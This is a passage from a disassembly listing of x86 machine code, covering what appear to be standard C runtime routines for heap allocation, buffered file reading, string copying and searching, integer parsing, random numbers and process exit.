jz short loc_41BA50
or eax, 0FFFFFFFFh
jmp short loc_41BA8A
; ---------------------------------------------------------------------------
loc_41BA50: ; CODE XREF: sub_41BA3B+Ej
test al, 83h
jz short loc_41BA88
push esi
call sub_41E42B
push esi
mov edi, eax
call sub_41E3C5
push dword ptr [esi+10h]
call sub_41E312
add esp, 0Ch
test eax, eax
jge short loc_41BA76
or edi, 0FFFFFFFFh
jmp short loc_41BA88
; ---------------------------------------------------------------------------
loc_41BA76: ; CODE XREF: sub_41BA3B+34j
mov eax, [esi+1Ch]
test eax, eax
jz short loc_41BA88
push eax
call sub_41BA91
and dword ptr [esi+1Ch], 0
pop ecx
loc_41BA88: ; CODE XREF: sub_41BA3B+17j
; sub_41BA3B+39j ...
mov eax, edi
loc_41BA8A: ; CODE XREF: sub_41BA3B+13j
and dword ptr [esi+0Ch], 0
pop edi
pop esi
retn
sub_41BA3B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep
; sub_40A928+B1p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push esi
mov esi, [ebp+arg_0]
test esi, esi
jz short loc_41BAF7
mov eax, dword_4DD388
cmp eax, 3
jnz short loc_41BABD
push esi
call sub_41E717
pop ecx
test eax, eax
push esi
jz short loc_41BAE9
push eax
call sub_41E742
pop ecx
pop ecx
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BABD: ; CODE XREF: sub_41BA91+14j
cmp eax, 2
jnz short loc_41BAE8
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_4]
push eax
push esi
call sub_41F472
add esp, 0Ch
test eax, eax
jz short loc_41BAE8
push eax
push [ebp+arg_0]
push [ebp+var_4]
call sub_41F4C9
add esp, 0Ch
jmp short loc_41BAF7
; ---------------------------------------------------------------------------
loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj
; sub_41BA91+44j
push esi
loc_41BAE9: ; CODE XREF: sub_41BA91+20j
push 0
push dword_4DD384
call near ptr 27D0000h
nop
loc_41BAF7: ; CODE XREF: sub_41BA91+Aj
; sub_41BA91+2Aj ...
pop esi
leave
retn
sub_41BA91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p
; ___:0040FA8Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
imul edi, [ebp+arg_8]
mov ebx, [ebp+arg_0]
mov ecx, edi
test edi, edi
mov [ebp+var_4], edi
mov [ebp+arg_0], ecx
jnz short loc_41BB1E
xor eax, eax
jmp loc_41BBC7
; ---------------------------------------------------------------------------
loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj
mov esi, [ebp+arg_C]
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB31
mov eax, [esi+18h]
mov [ebp+arg_C], eax
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj
mov [ebp+arg_C], 1000h
jmp short loc_41BB3D
; ---------------------------------------------------------------------------
loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j
mov ecx, [ebp+arg_0]
loc_41BB3D: ; CODE XREF: sub_41BAFA+35j
; sub_41BAFA+3Ej
test word ptr [esi+0Ch], 10Ch
jz short loc_41BB6F
mov eax, [esi+4]
test eax, eax
jz short loc_41BB6F
cmp ecx, eax
mov edi, ecx
jb short loc_41BB54
mov edi, eax
loc_41BB54: ; CODE XREF: sub_41BAFA+56j
push edi
push dword ptr [esi]
push ebx
call sub_41CD20
sub [ebp+arg_0], edi
sub [esi+4], edi
add [esi], edi
add esp, 0Ch
add ebx, edi
mov edi, [ebp+var_4]
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BB6F: ; CODE XREF: sub_41BAFA+49j
; sub_41BAFA+50j
cmp ecx, [ebp+arg_C]
jb short loc_41BBA2
cmp [ebp+arg_C], 0
mov eax, ecx
jz short loc_41BB85
xor edx, edx
div [ebp+arg_C]
mov eax, ecx
sub eax, edx
loc_41BB85: ; CODE XREF: sub_41BAFA+80j
push eax
push ebx
push dword ptr [esi+10h]
call sub_41F9BC
add esp, 0Ch
test eax, eax
jz short loc_41BBCC
cmp eax, 0FFFFFFFFh
jz short loc_41BBD2
sub [ebp+arg_0], eax
add ebx, eax
jmp short loc_41BBBA
; ---------------------------------------------------------------------------
loc_41BBA2: ; CODE XREF: sub_41BAFA+78j
push esi
call sub_41F8E3
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_41BBD6
mov [ebx], al
mov eax, [esi+18h]
inc ebx
dec [ebp+arg_0]
mov [ebp+arg_C], eax
loc_41BBBA: ; CODE XREF: sub_41BAFA+73j
; sub_41BAFA+A6j
cmp [ebp+arg_0], 0
jnz loc_41BB3A
mov eax, [ebp+arg_8]
loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj
; sub_41BAFA+E6j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj
or dword ptr [esi+0Ch], 10h
jmp short loc_41BBD6
; ---------------------------------------------------------------------------
loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj
or dword ptr [esi+0Ch], 20h
loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j
; sub_41BAFA+D6j
mov eax, edi
xor edx, edx
sub eax, [ebp+arg_0]
div [ebp+arg_4]
jmp short loc_41BBC7
sub_41BAFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep
; sub_41D9B3+35p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0
push ebx
push esi
push edi
jnz short loc_41BBFD
push [ebp+arg_4]
call sub_41BEB5
pop ecx
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj
mov esi, [ebp+arg_4]
test esi, esi
jnz short loc_41BC12
push [ebp+arg_0]
call sub_41BA91
pop ecx
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BC12: ; CODE XREF: sub_41BBE2+20j
mov eax, dword_4DD388
cmp eax, 3
jnz loc_41BD22
loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BCFE
push [ebp+arg_0]
call sub_41E717
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_41BCD9
cmp esi, dword_4DD380
ja short loc_41BC92
mov edi, [ebp+arg_0]
push esi
push edi
push ebx
call sub_41EF20
add esp, 0Ch
test eax, eax
jnz short loc_41BC8E
push esi
call sub_41EA6B
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BC92
mov ebx, [ebp+arg_0]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_41BC72
mov eax, esi
loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj
push eax
push ebx
push edi
call sub_41CD20
push ebx
call sub_41E717
push [ebp+arg_0]
mov ebx, eax
push ebx
call sub_41E742
add esp, 18h
loc_41BC8E: ; CODE XREF: sub_41BBE2+74j
test edi, edi
jnz short loc_41BCD5
loc_41BC92: ; CODE XREF: sub_41BBE2+62j
; sub_41BBE2+81j
test esi, esi
jnz short loc_41BC99
push 1
pop esi
loc_41BC99: ; CODE XREF: sub_41BBE2+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4DD384
nop
call near ptr 27E0000h
mov edi, eax
test edi, edi
jz short loc_41BCD5
mov ecx, [ebp+arg_0]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_41BCC1
mov eax, esi
loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj
push eax
push ecx
push edi
call sub_41CD20
push [ebp+arg_0]
push ebx
call sub_41E742
add esp, 14h
loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj
; sub_41BBE2+D0j
test ebx, ebx
jnz short loc_41BCFA
loc_41BCD9: ; CODE XREF: sub_41BBE2+56j
test esi, esi
jnz short loc_41BCE0
push 1
pop esi
loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 2870000h
mov edi, eax
loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j
test edi, edi
jnz short loc_41BD1B
loc_41BCFE: ; CODE XREF: sub_41BBE2+43j
cmp dword_4DBE48, 0
jz short loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BC20
jmp loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj
; sub_41BBE2+123j ...
mov eax, edi
jmp loc_41BE7D
; ---------------------------------------------------------------------------
loc_41BD22: ; CODE XREF: sub_41BBE2+38j
cmp eax, 2
jnz loc_41BE3D
cmp esi, 0FFFFFFE0h
ja short loc_41BD3F
test esi, esi
jbe short loc_41BD3C
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_41BD3F
; ---------------------------------------------------------------------------
loc_41BD3C: ; CODE XREF: sub_41BBE2+150j
push 10h
pop esi
loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj
; sub_41BBE2+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_41BE1F
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+arg_0]
call sub_41F472
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_41BE03
cmp esi, dword_43CE74
jnb short loc_41BDC7
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F83A
add esp, 10h
test eax, eax
jz short loc_41BD8D
mov edi, [ebp+arg_0]
jmp short loc_41BDBF
; ---------------------------------------------------------------------------
loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j
push edi
call sub_41F50E
mov edi, eax
pop ecx
test edi, edi
jz short loc_41BDC7
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDA6
mov eax, esi
loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j
test edi, edi
jnz loc_41BD1B
loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj
; sub_41BBE2+1B6j
push esi
push 0
push dword_4DD384
call near ptr 27E0000h
nop
mov edi, eax
test edi, edi
jz short loc_41BE1F
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_41BDE8
mov eax, esi
loc_41BDE8: ; CODE XREF: sub_41BBE2+202j
push eax
push [ebp+arg_0]
push edi
call sub_41CD20
push ebx
push [ebp+arg_4]
push [ebp+var_4]
call sub_41F4C9
add esp, 18h
jmp short loc_41BE17
; ---------------------------------------------------------------------------
loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
nop
call near ptr 2870000h
mov edi, eax
loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj
test edi, edi
jnz loc_41BD1B
loc_41BE1F: ; CODE XREF: sub_41BBE2+162j
; sub_41BBE2+1F8j
cmp dword_4DBE48, 0
jz loc_41BD1B
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz loc_41BD3F
jmp short loc_41BE7B
; ---------------------------------------------------------------------------
loc_41BE3D: ; CODE XREF: sub_41BBE2+143j
; sub_41BBE2+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_41BE67
test esi, esi
jnz short loc_41BE4B
push 1
pop esi
loc_41BE4B: ; CODE XREF: sub_41BBE2+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+arg_0]
push 0
push dword_4DD384
call near ptr 2870000h
nop
test eax, eax
jnz short loc_41BE7D
loc_41BE67: ; CODE XREF: sub_41BBE2+260j
cmp dword_4DBE48, 0
jz short loc_41BE7D
push esi
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BE3D
loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj
; sub_41BBE2+134j ...
xor eax, eax
loc_41BE7D: ; CODE XREF: sub_41BBE2+16j
; sub_41BBE2+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_41BBE2 endp
; =============== S U B R O U T I N E =======================================
sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
call sub_41FD3D
test eax, eax
jnz short loc_41BE8C
retn
; ---------------------------------------------------------------------------
loc_41BE8C: ; CODE XREF: sub_41BE82+7j
push eax
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_41FBCD
add esp, 10h
retn
sub_41BE82 endp
; =============== S U B R O U T I N E =======================================
sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p
; sub_401ACD+57DDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 40h
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_41BE82
add esp, 0Ch
retn
sub_41BEA2 endp
; =============== S U B R O U T I N E =======================================
sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p
; sub_40A928+63p ...
arg_0 = dword ptr 4
push dword_4DBE48
push [esp+4+arg_0]
call sub_41BEC7
pop ecx
pop ecx
retn
sub_41BEB5 endp
; =============== S U B R O U T I N E =======================================
sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap
; sub_41D9A5+6p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFE0h
ja short loc_41BEF0
loc_41BECE: ; CODE XREF: sub_41BEC7+27j
push [esp+arg_0]
call sub_41BEF3
test eax, eax
pop ecx
jnz short locret_41BEF2
cmp [esp+arg_4], eax
jz short locret_41BEF2
push [esp+arg_0]
call sub_41FBB2
test eax, eax
pop ecx
jnz short loc_41BECE
loc_41BEF0: ; CODE XREF: sub_41BEC7+5j
xor eax, eax
locret_41BEF2: ; CODE XREF: sub_41BEC7+13j
; sub_41BEC7+19j
retn
sub_41BEC7 endp
; =============== S U B R O U T I N E =======================================
sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp
arg_0 = dword ptr 4
mov eax, dword_4DD388
push esi
mov esi, [esp+4+arg_0]
cmp eax, 3
jnz short loc_41BF17
cmp esi, dword_4DD380
ja short loc_41BF49
push esi
call sub_41EA6B
test eax, eax
pop ecx
jz short loc_41BF49
pop esi
retn
; ---------------------------------------------------------------------------
loc_41BF17: ; CODE XREF: sub_41BEF3+Dj
cmp eax, 2
jnz short loc_41BF49
mov eax, [esp+4+arg_0]
test eax, eax
jz short loc_41BF2C
lea esi, [eax+0Fh]
and esi, 0FFFFFFF0h
jmp short loc_41BF2F
; ---------------------------------------------------------------------------
loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj
push 10h
pop esi
loc_41BF2F: ; CODE XREF: sub_41BEF3+37j
cmp esi, dword_43CE74
ja short loc_41BF56
mov eax, esi
shr eax, 4
push eax
call sub_41F50E
test eax, eax
pop ecx
jnz short loc_41BF65
jmp short loc_41BF56
; ---------------------------------------------------------------------------
loc_41BF49: ; CODE XREF: sub_41BEF3+15j
; sub_41BEF3+20j ...
test esi, esi
jnz short loc_41BF50
push 1
pop esi
loc_41BF50: ; CODE XREF: sub_41BEF3+58j
add esi, 0Fh
and esi, 0FFFFFFF0h
loc_41BF56: ; CODE XREF: sub_41BEF3+42j
; sub_41BEF3+54j
push esi
push 0
push dword_4DD384
call near ptr 27E0000h
nop
loc_41BF65: ; CODE XREF: sub_41BEF3+52j
pop esi
retn
sub_41BEF3 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp
; sub_40111D+4Ap ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_41BFC3
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_41BFB7
neg ecx
and ecx, 3
jz short loc_41BF99
sub edx, ecx
loc_41BF93: ; CODE XREF: sub_41BF70+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_41BF93
loc_41BF99: ; CODE XREF: sub_41BF70+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_41BFB7
rep stosd
test edx, edx
jz short loc_41BFBD
loc_41BFB7: ; CODE XREF: sub_41BF70+18j
; sub_41BF70+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_41BFB7
loc_41BFBD: ; CODE XREF: sub_41BF70+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41BFC3: ; CODE XREF: sub_41BF70+Aj
mov eax, [esp+arg_0]
retn
sub_41BF70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41BFD0 proc near ; CODE XREF: ___:004016C0p
; ___:004016DCp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov ecx, [esp+arg_8]
push edi
test ecx, ecx
jz short loc_41C053
push esi
push ebx
mov ebx, ecx
mov esi, [esp+0Ch+arg_4]
test esi, 3
mov edi, [esp+0Ch+arg_0]
jnz short loc_41BFF4
shr ecx, 2
jnz short loc_41C061
jmp short loc_41C015
; ---------------------------------------------------------------------------
loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj
; sub_41BFD0+37j
mov al, [esi]
inc esi
mov [edi], al
inc edi
dec ecx
jz short loc_41C022
test al, al
jz short loc_41C02A
test esi, 3
jnz short loc_41BFF4
mov ebx, ecx
shr ecx, 2
jnz short loc_41C061
loc_41C010: ; CODE XREF: sub_41BFD0+8Fj
and ebx, 3
jz short loc_41C022
loc_41C015: ; CODE XREF: sub_41BFD0+22j
; sub_41BFD0+50j
mov al, [esi]
inc esi
mov [edi], al
inc edi
test al, al
jz short loc_41C04E
dec ebx
jnz short loc_41C015
loc_41C022: ; CODE XREF: sub_41BFD0+2Bj
; sub_41BFD0+43j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj
test edi, 3
jz short loc_41C044
loc_41C032: ; CODE XREF: sub_41BFD0+72j
mov [edi], al
inc edi
dec ecx
jz loc_41C0C6
test edi, 3
jnz short loc_41C032
loc_41C044: ; CODE XREF: sub_41BFD0+60j
mov ebx, ecx
shr ecx, 2
jnz short loc_41C0B7
loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj
; sub_41BFD0+F4j
mov [edi], al
inc edi
loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj
dec ebx
jnz short loc_41C04B
pop ebx
pop esi
loc_41C053: ; CODE XREF: sub_41BFD0+7j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_41C059: ; CODE XREF: sub_41BFD0+A9j
; sub_41BFD0+C1j
mov [edi], edx
add edi, 4
dec ecx
jz short loc_41C010
loc_41C061: ; CODE XREF: sub_41BFD0+20j
; sub_41BFD0+3Ej
mov edx, 7EFEFEFFh
mov eax, [esi]
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
mov edx, [esi]
add esi, 4
test eax, 81010100h
jz short loc_41C059
test dl, dl
jz short loc_41C0AB
test dh, dh
jz short loc_41C0A1
test edx, 0FF0000h
jz short loc_41C097
test edx, 0FF000000h
jnz short loc_41C059
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C097: ; CODE XREF: sub_41BFD0+B9j
and edx, 0FFFFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j
and edx, 0FFh
mov [edi], edx
jmp short loc_41C0AF
; ---------------------------------------------------------------------------
loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj
xor edx, edx
mov [edi], edx
loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j
; sub_41BFD0+CFj ...
add edi, 4
xor eax, eax
dec ecx
jz short loc_41C0C1
loc_41C0B7: ; CODE XREF: sub_41BFD0+79j
xor eax, eax
loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj
mov [edi], eax
add edi, 4
dec ecx
jnz short loc_41C0B9
loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j
and ebx, 3
jnz short loc_41C04B
loc_41C0C6: ; CODE XREF: sub_41BFD0+66j
mov eax, [esp+0Ch+arg_0]
pop ebx
pop esi
pop edi
retn
sub_41BFD0 endp
; =============== S U B R O U T I N E =======================================
sub_41C0CE proc near ; CODE XREF: sub_41C159+4p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov edi, [esp+10h+arg_0]
loc_41C0D6: ; CODE XREF: sub_41C0CE+34j
cmp dword_43D084, 1
jle short loc_41C0EE
movzx eax, byte ptr [edi]
push 8
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C0FD
; ---------------------------------------------------------------------------
loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj
movzx eax, byte ptr [edi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 8
loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej
test eax, eax
jz short loc_41C104
inc edi
jmp short loc_41C0D6
; ---------------------------------------------------------------------------
loc_41C104: ; CODE XREF: sub_41C0CE+31j
movzx esi, byte ptr [edi]
inc edi
cmp esi, 2Dh
mov ebp, esi
jz short loc_41C114
cmp esi, 2Bh
jnz short loc_41C118
loc_41C114: ; CODE XREF: sub_41C0CE+3Fj
movzx esi, byte ptr [edi]
inc edi
loc_41C118: ; CODE XREF: sub_41C0CE+44j
xor ebx, ebx
loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj
cmp dword_43D084, 1
jle short loc_41C12F
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_41C13A
; ---------------------------------------------------------------------------
loc_41C12F: ; CODE XREF: sub_41C0CE+53j
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj
test eax, eax
jz short loc_41C14B
lea eax, [ebx+ebx*4]
lea ebx, [esi+eax*2-30h]
movzx esi, byte ptr [edi]
inc edi
jmp short loc_41C11A
; ---------------------------------------------------------------------------
loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej
cmp ebp, 2Dh
mov eax, ebx
jnz short loc_41C154
neg eax
loc_41C154: ; CODE XREF: sub_41C0CE+82j
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41C0CE endp
; =============== S U B R O U T I N E =======================================
sub_41C159 proc near ; CODE XREF: ___:00401527p
; sub_401ACD+717p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41C0CE
pop ecx
retn
sub_41C159 endp
; ---------------------------------------------------------------------------
mov eax, off_43AE1C
test eax, eax
jz short loc_41C16F
call eax ; sub_41D124
loc_41C16F: ; CODE XREF: ___:0041C16Bj
push offset dword_429028
push offset dword_429014
call sub_41C24C
push offset dword_429010
push offset dword_429000
call sub_41C24C
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_41C1B3
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp
; sub_422DFC+21E6p ...
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_41C1B3
add esp, 0Ch
retn
sub_41C1A2 endp
; =============== S U B R O U T I N E =======================================
sub_41C1B3 proc near ; CODE XREF: ___:0041C199p
; sub_41C1A2+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_4DBE24, edi
jnz short loc_41C1D0
push [esp+4+arg_0]
call near ptr 273094Dh
nop
push eax
call near ptr 2730250h
nop
loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_4DBE20, edi
mov byte_4DBE1C, bl
jnz short loc_41C224
mov eax, dword_4DD39C
test eax, eax
jz short loc_41C213
mov ecx, dword_4DD398
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_41C212
loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41C207
call eax
loc_41C207: ; CODE XREF: sub_41C1B3+50j
sub esi, 4
cmp esi, dword_4DD39C
jnb short loc_41C1FF
loc_41C212: ; CODE XREF: sub_41C1B3+4Aj
pop esi
loc_41C213: ; CODE XREF: sub_41C1B3+3Cj
push offset dword_429034
push offset dword_42902C
call sub_41C24C
pop ecx
pop ecx
loc_41C224: ; CODE XREF: sub_41C1B3+33j
push offset dword_429040
push offset dword_429038
call sub_41C24C
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_41C24A
push [esp+4+arg_0]
mov dword_4DBE24, edi
nop
call near ptr 77E75CB5h
loc_41C24A: ; CODE XREF: sub_41C1B3+85j
pop edi
retn
sub_41C1B3 endp
; =============== S U B R O U T I N E =======================================
sub_41C24C proc near ; CODE XREF: ___:0041C179p
; ___:0041C188p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_41C251: ; CODE XREF: sub_41C24C+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41C264
mov eax, [esi]
test eax, eax
jz short loc_41C25F
call eax
loc_41C25F: ; CODE XREF: sub_41C24C+Fj
add esi, 4
jmp short loc_41C251
; ---------------------------------------------------------------------------
loc_41C264: ; CODE XREF: sub_41C24C+9j
pop esi
retn
sub_41C24C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C266 proc near ; CODE XREF: ___:004013B0p
; ___:004014B6p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
mov [ebp+var_18], eax
mov [ebp+var_20], eax
lea eax, [ebp+arg_8]
mov [ebp+var_14], 42h
push eax
lea eax, [ebp+var_20]
push [ebp+arg_4]
mov [ebp+var_1C], 7FFFFFFFh
push eax
call sub_41FF3F
add esp, 0Ch
dec [ebp+var_1C]
mov esi, eax
js short loc_41C2A6
mov eax, [ebp+var_20]
and byte ptr [eax], 0
jmp short loc_41C2B3
; ---------------------------------------------------------------------------
loc_41C2A6: ; CODE XREF: sub_41C266+36j
lea eax, [ebp+var_20]
push eax
push 0
call sub_41FE2A
pop ecx
pop ecx
loc_41C2B3: ; CODE XREF: sub_41C266+3Ej
mov eax, esi
pop esi
leave
retn
sub_41C266 endp
; =============== S U B R O U T I N E =======================================
sub_41C2B8 proc near ; CODE XREF: ___:00401266p
; sub_401ACD+315Ep ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dword_43AE00, eax
retn
sub_41C2B8 endp
; =============== S U B R O U T I N E =======================================
sub_41C2C2 proc near ; CODE XREF: ___:loc_401379p
; ___:loc_4016A7p ...
mov eax, dword_43AE00
imul eax, 343FDh
add eax, 269EC3h
mov dword_43AE00, eax
sar eax, 10h
and eax, 7FFFh
retn
sub_41C2C2 endp
; =============== S U B R O U T I N E =======================================
sub_41C2E0 proc near ; CODE XREF: ___:0040134Ep
; sub_401ACD+8Cp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_41C35A
mov dh, [ecx+1]
test dh, dh
jz short loc_41C347
loc_41C2F8: ; CODE XREF: sub_41C2E0+52j
; sub_41C2E0+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_41C31A
test al, al
jz short loc_41C314
loc_41C309: ; CODE XREF: sub_41C2E0+32j
mov al, [esi]
inc esi
loc_41C30C: ; CODE XREF: sub_41C2E0+3Fj
cmp al, dl
jz short loc_41C31A
test al, al
jnz short loc_41C309
loc_41C314: ; CODE XREF: sub_41C2E0+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41C31A: ; CODE XREF: sub_41C2E0+23j
; sub_41C2E0+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_41C30C
lea edi, [esi-1]
loc_41C324: ; CODE XREF: sub_41C2E0+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_41C353
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_41C2F8
mov al, [ecx+3]
test al, al
jz short loc_41C353
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_41C324
jmp short loc_41C2F8
